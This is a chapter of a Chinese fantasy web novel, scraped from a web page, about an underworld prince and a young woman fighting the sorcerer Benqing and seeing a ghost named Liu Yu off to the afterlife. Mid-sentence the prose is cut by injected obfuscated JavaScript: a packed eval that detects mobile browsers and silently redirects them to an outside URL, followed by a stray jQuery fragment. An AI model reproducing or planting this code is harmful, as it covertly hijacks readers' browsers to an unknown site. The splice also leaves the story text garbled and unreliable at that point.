13. 魂归酆都
作品:《游历人间我缺魂少魄》 阴阳界,由三域九城组成,凡是死去未被勾魂的幽魂皆要通过阴阳界,进入酆都喝了黄泉水过了奈何桥才能顺利投胎转世。
“所以,你一个阴阳界符城少主,”赵知行偏着头看向身边绝世容颜的男子,“为什么被本青关进石匣里呢。”
这个叫符鹤的男人明明漂亮得不像话却沉默少言,对任何事情都不感兴趣似的。
“……”符鹤明显不想提起这件事,不过赵知行穷追猛打问起个没完,他凤眸微睁,“我追一女子才来到人间。”
“结果你就中计被本青关到了匣子里,”原来如此,赵知行略有所思,“那个女子去阴阳界做什么,你为什么追她。”
犹豫要不要将事情告诉赵知行,符鹤停下脚步看着她,想来要不是眼前的女子自己也脱不了困,轻叹一声,符鹤便把阴阳令丢失的事告诉了赵知行。
阴阳界几百年没有新主,阴阳令也随旧主遗失,三域九城之主各怀鬼胎,部分势力开始蠢蠢欲动。
作为主城的符城,突然有一天被一幽魂闯入,女幽魂的目标便是寻找阴阳令。
符鹤看出此女的不寻常,猜到有人指使,他一路追赶,不成想刚踏入人间便遇到血鬼横行,还未等他收服肆虐的血鬼便被一小道士定住,接着便被收进石匣封印起来。
“你追的女子可是十五六岁,一身黄衣?”
“是。”
符鹤微微一怔,难得有了表情。
“那就是了,果然都是本青的阴谋。”
赵知行将本青一路所做的事告诉符鹤,从一开始,本青就不光是打林付平的主意,他还有更大的野心。
两人回到客栈,柳鱼、杨霁容与林付平面面相觑,眼前这个如谪仙的男子是谁?
符鹤乍一看见林付平愣了一下,接着恭敬的俯身给他行了个礼,林付平吓了一跳赶忙回礼,不明白这个陌生男子为何对自己这么礼遇。
杨霁容让林付平招待符鹤,领着两个姐妹上楼换衣服。
进屋后柳鱼拉着赵知行破烂的袖子,悄悄的问她,“赵姑娘,你这衣服怎么烧成这个样子?”出去时还好好的,回来就糟糕成这样还带回个男人。
杨霁容拿着新的衣服走过来递给赵知行,赵知行边穿好衣服边将匣子的事说给两人。
“你平安无事我们也就放心了,”杨霁容眉眼舒展放下心来,“我刚跟柳妹商量,想着回去看看江沐怎么样了。”
几个姑娘闲话还未说完,一阵索魂铃接二连三的响起。
柳鱼一颤,知道自己这回真的要走了。
杨霁容舍不得妹妹,紧紧握着柳鱼的手不肯公开,她眼里含着泪水,与忍不住哭泣的柳鱼相望。
“回家看看吧。”赵知行明白柳鱼心里还有记挂,她将仙伞打开,表情凝重的看着柳鱼,“我们带你回去,了了最后的心愿,安心上路吧。”
柳鱼皱着姣好的眉毛轻轻点头,转身化为魂魄姿态飞进仙伞里。
赵知行把伞交给杨霁容,看着鳐鱼在伞里自由自在的游来游去,杨霁容再也坚持不住抱着伞失声痛哭。
……
夜深露重,江府在月华的照耀下如同仙阁。
早前为了救杨霁容,江沐破釜沉舟将多数家产变卖,院里的仆人与丫鬟也分了钱打发走了,整个江府只剩江沐一人看管。
再一睁眼,柳鱼已是站在自己家门口,明明只有几个月,她仿佛离开数年。
轻轻推开大门,院落无人打扫铺满落叶,明明是春季院中的杏树竟然干枯,柳鱼试着叫了几声夫君的名字,寂静的院子却无任何回应。
心知不妙,赵知行与柳鱼急忙冲进后院,后院正中间摆着桌案,案上铺着黄绸,中间放着香炉与红烛,桌案四周布着八卦。
江沐浑身像是被野兽撕咬一般皮开肉绽,此时正倒在一边像是没了气息。
符鹤刚一进入便看见院中诡异的八卦与桌上香炉前摆放的五个红衣纸人,瞬间明白这是有人故意用错误的方式骗江沐开坛设法。
他轻挥衣袖,桌上五个红衣纸人顿时烧为灰烬,纸人不存四周八卦“砰”的碎裂,已经面无血色的江沐这才吐出一口气。
柳鱼紧紧将江沐抱在怀中,她只知道夫君在家为她续命,却没想到江沐会变成如此模样,她用手抓着赵知行,已是上气不接下气的哭着求她救救自己的夫君。
赵知行安慰着柳鱼,让杨霁容推了眼前的桌案,她从腰间的宝袋里快速掏出一个朱砂红盒子,里面一颗珠子正散发着莹莹之光。
——瑶魂珠!
符鹤一眼便认出这是出自阳阳界用来定魂的宝物,他认真盯着正在救人的赵知行,越发觉得这个女人不简单。
那边杨霁容生气地一脚踹开桌子,又用脚将散落的器皿踢飞,“赵姑娘,江沐怎么样了。”
瑶魂珠悬在江沐的脸上,一点点释放光芒,慢慢的将整个人包裹进去,几个人静静看着它发挥效力,只听一声轻咳,本来一脚踏入黄泉路的人又被拉回了阳间。
江沐轻轻动着眼睑却始终无法睁开,柳鱼急得只能继续向赵知行求救,突然一阵旋风卷进院子。
符鹤飞速拉起赵知行腾在空中,其他几人皆被他用术法转移到北屋的房顶。
只见一群似精似怪看不清脸的东西,身披红袍扭曲着身子赤脚站在院中,它们龇牙叫着到处摸索。
找了一儿,像是被谁指点一般,齐刷刷地仰头发现空中的人,怪物大喜,腾身飞起就要抓他们。
赵知行伶俐的从宝袋里拿出缚妖符,冲着下面一扔,蓝色火焰骤雨一般打向那群怪物,浓烟散去,怪物竟未伤分毫,这时她才发现,这东西压根就不是怪物是聻!
鬼死为聻,轻易不死。
柳鱼为报夫仇俯身就要上去拼命,被赵知行叫住,聻以鬼为食,她去了也只是白白送死。
符鹤眼神一凛,化出法器拿在手中,宝物由紫檀打造,长约五寸,柱身流云图案,顶端布满狮首。
此物正是阴阳界符城的法宝——斩聻令。
狮首张开大嘴,霎时有黑气流出,聻们见了害怕不再上前,还没来得急逃跑便被斩聻令的黑气分成数段,狮首吞吐气息形成龙卷将一地碎块吸进嘴里。
林付平刚放下心来,便看到本青不知何时坐在了院中的桌子上,他两手托着下巴抬着头,惬意的看着刚才的一切。
“师姐,我们又见面了,”小道士嘴角微微上翘,向赵知行挥着手,“师姐,师姐,你看,我现在学会变化之术了。”
说完院中轻烟袅袅,等烟雾散去,原本小道士模样的本青,突然变成一个白发白须腰间挂着红线的老头。
“是你!”柳鱼大惊,原来当初指点她以命续命的便是这个老头,原以为是个好心的仙人,没想到却是个恶鬼。
“畜生!我要你的命!”
赵知行一记缚妖符将柳鱼定住。
“符鹤!”
听到赵知行的喊叫,符鹤立刻化出露玄剑,剑气破空直冲本青面门,一声巨响过后,房倒屋塌不见本青尸体。
只叫不好,符鹤猛一回头却见本青已到了赵知行身后!
银光一闪,本青背后的破剑“噗嗤”一声直接刺穿赵知行的胸口,赵知行只觉胸口一疼嘴里发甜,接着便看见自己的血沿着冰冷的剑身流在自己新换的衣裙之上。
“赵姑娘!”众人大惊,杨霁容立马甩出长鞭抽了过去,却见本青也不闪躲,只用指两轻轻一点便化了攻击。
鞭子被打飞,林付平与杨霁容只能在结界内干着急,只见赵知行右手一抬扔了什么东西出来,伏罗织“哗”的张开,眨眼间便像捆蟹一般把本青包的结结实实。
“呸!”赵知行吐掉一口血,她慢慢抬起头,细眉一挑眼睛半眯,脸上是藏不住的笑意,“早就等着你了!”
话音刚落,符鹤的露玄已是到了本青眼前,他右手执剑与左手化印快速将赵知行送到柳鱼那里。
本青脸颊抽动,双眼通红,牙齿相撞的声音从嘴里发出,他的笑容更加颠狂,似要吞了眼前的符鹤。
“嗡”的一声,原本插在赵知行胸口的剑飞回本青身边,两剑相碰顿时溅出火花,本青冷笑眼神里充满算计,只见他伸手抓住伏罗织便要挣脱,却发现远处的赵知行手里闪着亮光。
看见赵知行手里的东西本青表情微滞,就见她手中的那盏灯发出异香,橙黄的火焰中似是有龙在翻滚,诵经一般的声音从灯里传出。
柳鱼只觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068680|195186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得这声音平静祥和,让人如梦初醒,林付平喊了句“看!”
困于伏罗织中的本青突然抖动起来,身体里窜出数条幽魂,它们终于被了放了出来,在月华下流窜,发出尖厉刺耳的哭声。
机不可失,赵知行念着符鹤临时教她的口诀,将灯高高举起,灯如黑夜盛开的昙花,幽魂如同飞蛾一般扑了过去。
本青瞳孔收缩,嘴角扯出一抹冷笑,静静地看着抓来的孤魂被赵知行收走。
“师姐,师姐,”令人毛骨悚然的声调,本青低嘴里一声声的叫着。
符鹤挥出剑气强行压住本青的气焰,却被伏罗织中的本青一掌打散,时机已过他也不再过多纠缠,凌空退回赵知行身边。
看着血流如柱的伤口,符鹤紧锁眉头,掌心飞快化出冰符送进伤口里,赵知行胸口的窟窿果然不再流血。
“我们……咳……”又吐出一口血,赵知行拉了拉符鹤的袖子,苍白的脸上眉眼带笑,“我们快走。”
符鹤背剑右手手指一划,院中的几人在一阵烟雾中消失。
惊天动地的爆破声,本青冲破伏罗织,他的发丝在空中凌乱,那张小孩般白净模样的脸扭曲得如同恶鬼,他伸出长舌舔着脸上的伤,眼睁睁得看着赵知行他们逃走并不去追。
……
“叮铃”“叮铃”
黑白无常的索魂铃一声声催促着柳鱼,这次的铃声却不像上次那般令人恐惧,幽深的铃声像在诉说最后的遗言,竟带着些温柔。
柳鱼轻轻放下江沐,眼里万般不舍,一袭黑衣的她给夫君擦拭着额头上的汗珠,这次过后,两人便要阴阳永隔了。
泪水一滴滴的落在江沐的脸上,划过眼角竟像是昏迷中的人在哭一样。
符鹤左手持灯右手作法,醒魂灯里江沐的魂魄跟随铃声飞入他的身体,这是从本青那里抢回的魂魄,
只是,符鹤低垂凤眸瞧着江沐,这人为自己妻子续命又被聻咬伤,日后就是醒来,只怕也活不了多久。
而且……
柳鱼胡乱抹掉脸上的泪,起身来到符鹤身边叩首跪拜,又转身看向赵知行,这姑娘为了救回夫君的魂魄受了如此严重的伤,想到这里柳鱼又深深拜了下去。
“身无长物,这辈子无所报答,下辈子,”柳鱼环顾在场的几位,他们为了自己一路上吃了各种苦,心里愧疚的又鞠了一躬,“若有下世,柳鱼舍命相报。”
杨霁容悲上心头,她嘴唇轻颤,鼻子发酸,强忍着把眼泪憋了回去。
索魂铃越来越响,柳鱼抓着容姐的手,这双温暖的手这辈子再也触摸不到了,她抽着气,涌出的泪水,视线模糊的看着杨霁容。
两姐妹互相抹去对方脸上的泪,最后一次抱在一起。
“容姐,来世,来世”柳鱼声音哽咽,“来……世,我们还做姐妹好不好。”
杨霁容脸上的妆早已哭花,她肿着双眼不停的点头。
“好……”
柳鱼对上杨霁容温柔的眼神,终于破涕为笑,她看向杨霁容身边的林付平,刚要行礼却被他打断。
“夫人,不必如此,你……”林付平紧紧握住拳头,心像是被什么勒紧一般,“你……”
柳鱼摇摇头,仍是冲他行了这个礼,感谢他多日的帮助。
“时辰到了,柳鱼,快速速与我们回转酆都!”
柳鱼艰难的走回江沐身边,这人是她从小玩到大的青梅竹马,也是对她不离不弃的夫君,春天到时,江沐就她的病床上摆上几朵新鲜的杏花,鼓励她要勇敢活下去。
她要救容姐他也不曾反对,更是为了自己以命续命。
俗话说少年夫妻老来伴,她这一走,家里便只有他一人了。
柳鱼心如刀割,最后的一刻脸上绽放着笑容,她轻轻俯身,在江沐唇上落下一吻。
嘴唇冰凉,江沐像是感觉到什么,眼角流下泪水。
阴阳路已开,阴风吹着柳鱼的碎发。
“妹妹,妹妹!”杨霁容在她身后哭喊着,踉跄着追了上去,“下辈子,下辈子!”
柳鱼紧紧咬住牙关没有回头,干枯的手摸着胸口,泪光里闪着喜悦。
“嗯!”
她不带一丝遗憾的走向阴间。

